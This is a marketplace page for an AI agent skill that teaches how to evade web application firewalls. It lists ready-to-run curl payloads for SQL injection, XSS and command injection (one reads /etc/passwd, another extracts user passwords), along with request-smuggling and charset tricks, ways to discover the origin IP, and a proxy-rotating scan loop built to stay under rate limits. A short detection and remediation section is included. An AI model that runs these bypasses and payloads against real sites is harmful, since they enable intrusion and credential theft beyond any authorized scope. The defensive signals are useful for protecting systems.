WAF evasion — payload obfuscation, HTTP-level evasion, origin-IP discovery, rate/anomaly evasion, per-WAF notes (Cloudflare/Akamai/AWS WAF/ModSecurity).
68
84%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
A WAF is a signature + score engine in front of the origin. Bypass goals: (a) deliver a payload the rule set does not match, (b) reach the origin directly so the WAF is out of band, or (c) keep request rate / anomaly score under thresholds while exfiltrating. OPSEC: this skill is for authorized scope. Stay within rate limits the program allows; never test live customer flows; mark traffic with a researcher header where the program asks for it (X-Bug-Bounty: <HANDLE>).
See skills/standard/recon/web-recon/waf-detection/SKILL.md. Without a fingerprint you are guessing. Quick:
wafw00f -a "https://<TARGET>"
curl -sI "https://<TARGET>/?id=1' OR '1'='1" | grep -iE 'server|cf-ray|x-amzn|akamai|x-sucuri|x-cdn|set-cookie'
nuclei -u "https://<TARGET>" -t http/technologies/waf-detect.yamlNote the stack: WAF vendor, CDN, origin web server, application framework. Each layer has its own parser — bypasses live in the gaps.
| Layer | Technique | Example |
|---|---|---|
| Case | Mixed case on keywords (most modern WAFs are case-insensitive — try anyway) | SeLeCt, uNiOn |
| Whitespace | Tab, FF, CR, LF, /**/, +, %a0, %0b, %0c between tokens | UNION/**/SELECT, UNION%a0SELECT |
| Comments | Inline SQL comments split keywords | UN/**/ION, SEL/*!50000*/ECT (MySQL versioned) |
| Encoding | URL-encode, double-URL-encode, unicode, HTML entity, base64 | %2527, %u0027, ', \x27, \u0027 |
| Mixed encoding | Encode only the bytes the rule looks for | '%20OR%201=1-- → %27 OR 1%3D1-- |
| Alternate syntax (SQL) | UNION-less extraction via boolean/blind, ` | |
| Alternate syntax (XSS) | Tagless / event-less / template / SVG / MathML | <svg/onload=alert(1)>, <details/open/ontoggle=alert(1)>, <style>@import"//x"</style> |
| String concat | Break signatures into pieces | '+'al'+'ert'+'(1)+', concat(0x61,0x64,0x6d,0x69,0x6e) |
| Backtick / quote variants | `select`, "select", [select] (MSSQL), N'admin' | |
| Null bytes | %00 early-terminates many string ops in C-backed parsers | admin%00.png |
| Charset | Submit body in unusual charset; WAF inspects as UTF-8 but app decodes UTF-16 | Content-Type: ...; charset=utf-16le |
| Path normalization | ..;/, ..%2f, ..%252f, ;/, // between segments | /admin..;/users |
# SQLi rule bypass — split UNION SELECT
PAYLOAD="-1'/*!50000UnIoN*/(/*!50000SeLeCt*/(group_concat(table_name))FROM(information_schema.tables))-- -"
curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$PAYLOAD"
# XSS rule bypass — no parens, no "alert"
curl -sk -G "https://<TARGET>/echo" --data-urlencode 'q=<svg/onload=eval(name)>'
# Cmd-injection rule bypass — IFS for spaces, brace expansion, $@
curl -sk "https://<TARGET>/ping?host=127.0.0.1\${IFS}\$@cat\${IFS}/etc/passwd"Bypasses that exploit parser differences between WAF and origin.
# 3.1 Chunked transfer — WAF disables inspection on chunked bodies (still common)
curl -sk -X POST "https://<TARGET>/login" \
-H 'Transfer-Encoding: chunked' -H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'1d\r\nusername=admin\'+OR+1=1--\r\n0\r\n\r\n'
# 3.2 Content-Type confusion — WAF parses as form, app parses as JSON (or vice versa)
curl -sk -X POST "https://<TARGET>/api/login" \
-H 'Content-Type: text/plain' \
--data '{"user":"admin\" OR 1=1--","pass":"x"}'
# 3.3 Multipart smuggling — payload hidden in a part the WAF does not inspect
curl -sk -X POST "https://<TARGET>/upload" \
-F 'file=@evil.php;type=image/png' \
-F 'meta={"role":"admin"};type=application/json'
# 3.4 charset= trick (UTF-7, UTF-16, IBM037)
curl -sk -X POST "https://<TARGET>/api" \
-H 'Content-Type: application/json; charset=ibm037' \
--data-binary @ibm037-payload.bin
# 3.5 Host-header / SNI mismatch (origin trusts internal Host, WAF inspects external)
curl -sk --resolve "internal-admin:443:$ORIGIN_IP" \
-H 'Host: internal-admin' "https://internal-admin/admin"
# 3.6 HTTP/2 → HTTP/1 downgrade smuggling (paired with smuggling skill)
# See skills/standard/exploit/web/smuggling/SKILL.md
# 3.7 Pseudo-header injection in HTTP/2 (h2c upgrade, :path tricks)
curl -sk --http2-prior-knowledge "https://<TARGET>/" \
-H ':path: /admin/../public' -i
# 3.8 Param pollution — WAF inspects first, app reads last (or concat)
# See skills/standard/exploit/web/hpp/SKILL.mdIf the WAF sits on a CDN edge (Cloudflare, Akamai, Sucuri, Imperva), reaching the origin IP directly with the right Host header takes the WAF out of band.
# 4.1 Historic DNS / certificate transparency
curl -s "https://crt.sh/?q=%25.<TARGET>&output=json" | jq -r '.[].name_value' | sort -u
# Pre-CDN A records often still resolve in passive DNS sources:
# securitytrails / shodan / censys / dnsdumpster / viewdns
shodan search "ssl.cert.subject.cn:<TARGET>" # finds origin certs presenting CN behind CDN
shodan search "http.title:'<TARGET>' -org:'Cloudflare,Akamai,Fastly'"
censys search 'services.tls.certificates.leaf_data.subject.common_name: "<TARGET>"' \
--fields services.ip
# 4.2 Subdomain bleed — dev/staging/mail/cpanel rarely fronted by CDN
subfinder -d <TARGET> -silent | dnsx -resp-only | sort -u
# Look for non-CDN A records (not in Cloudflare/Akamai/Fastly ASNs)
mapcidr -cl - < ips.txt | asnmap | grep -viE 'cloudflare|akamai|fastly|imperva|incapsula|sucuri'
# 4.3 SSRF / open redirect / webhook outbound from target
# - any target-side fetcher that calls back to attacker leaks origin IP in TCP src
# 4.4 Misconfigured mail (DMARC/SPF/MX) reveals origin mailer IP
dig +short MX <TARGET>
dig +short TXT <TARGET>
# 4.5 Validate candidate origin
curl -sk --resolve "<TARGET>:443:$ORIGIN_IP" "https://<TARGET>/" -o origin.html -w '%{http_code}\n'
diff <(curl -sk "https://<TARGET>/" | md5sum) <(md5sum < origin.html)
# Same hash + no WAF headers = origin reached.Once on the origin, the WAF is gone. All bypasses in section 2 are unnecessary.
WAFs aggregate score per IP / session / fingerprint and throttle when thresholds trip.
| Technique | Notes |
|---|---|
| Rotate egress IPs | Proxychains, residential proxies, AWS Lambda fan-out (within scope rules). |
| Distribute over time | Jitter, exponential backoff, randomized intervals. |
| Rotate user-agent / Accept-Language / TLS JA3 | curl's --ja3 (curl-impersonate), or httpx -random-agent. |
| Avoid signature noise | Don't send sqlmap/1.x UA. Don't send 200 payloads/sec. |
| Login-warmed sessions | Authenticated session has its own bucket; one valid request per N payloads keeps anomaly score low. |
| Slow blind injection | Time-based blind SQLi with 0.5s deltas instead of 10s. |
| Token-bucket-aware probing | Detect 429 → back off until rate limit resets. |
# Distributed slow scan with jitter
shuf payloads.txt | while read p; do
curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$p" \
-H "User-Agent: $(shuf -n1 uas.txt)" -x "$(shuf -n1 proxies.txt)" -o /dev/null \
-w 'q=%{url_effective} code=%{http_code}\n'
sleep "$(awk 'BEGIN{srand(); print 2+rand()*6}')"
donecurl_chrome116) or requests via httpx[http2] with realistic JA3.cdn-cgi/trace confirms you're hitting Cloudflare; absence on a target subdomain often means origin reachable directly.X-Forwarded-For is ignored by CF but sometimes trusted at origin → header-trust pivots.Pragma: akamai-x-cache-on, akamai-x-get-extracted-values reveals edge variables on test envs.# AWS WAF body-cap bypass — pad with 9 KB of A's, then payload
( python3 -c 'print("A"*9000, end="")'; printf '&q=%s' "' UNION SELECT user,password FROM users--" ) \
| curl -sk -X POST "https://<TARGET>/search" \
-H 'Content-Type: application/x-www-form-urlencoded' --data-binary @-SecRuleEngine DetectionOnly is common in early deployments.incap_ses_* cookie required; bots without it 403.Reputation score — high-noise scans trip it fast.X-Sucuri-Cache header confirms presence.http/misconfiguration/, http/cves/ with -rate-limit low.--tamper=between,space2comment,space2randomblank,charunicodeencode,... (chain tamper scripts per WAF).-H rotation, -p per-request delay, -rate cap.| Signal | Source |
|---|---|
Transfer-Encoding: chunked on small bodies from unauthenticated IPs | WAF / proxy logs |
Body charset = ibm037, utf-16, utf-7 on public endpoints | content-type analytics |
| Request body > inspection cap on AWS WAF + trailing suspicious params | CloudWatch + WAF logs |
| Sustained low-rate requests from rotating IPs hitting parameterized URLs | rate-limit / WAF analytics |
| Direct hits to origin IP bypassing CDN | origin firewall logs (only CDN IPs should reach origin) |
Host header mismatch vs SNI | TLS / app logs |
X-HTTP-Method-Override paired with payload-like params | WAF custom rule |
Remediation: lock origin firewall to CDN egress ranges only; enable strict-charset / strict-content-type at the edge; raise inspection cap or block oversized unauthenticated bodies; ratchet ModSecurity to PL2+; rotate origin IP after CDN onboarding; enforce JA3/JA4 allowlists where business permits.
| Observation | Action |
|---|---|
| WAF identified, payload blocked, no origin IP yet | Section 2 obfuscation → section 3 HTTP-level → only then chase origin |
| Origin IP candidate, response identical to CDN-fronted | Confirm with TLS cert + body hash, then re-run all chained skills directly against origin |
| All sec-2/sec-3 attempts blocked, no origin | Pivot — try a different endpoint, subdomain (often un-onboarded), or chain through SSRF/open-redirect from another target asset |
| Rate-limit / anomaly score throttling | Back off, lower QPS, rotate fingerprint, prefer authenticated session |
| Program forbids WAF bypass research | Stop; report WAF presence + suspected gap to the program without exploitation |
skills/standard/recon/web-recon/waf-detection/SKILL.mdskills/standard/exploit/web/smuggling/SKILL.mdskills/standard/exploit/web/hpp/SKILL.mdskills/standard/exploit/web/verb-tampering/SKILL.mdskills/standard/exploit/web/sqli/SKILL.mdskills/standard/recon/web-recon/subdomain-takeover/SKILL.md0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.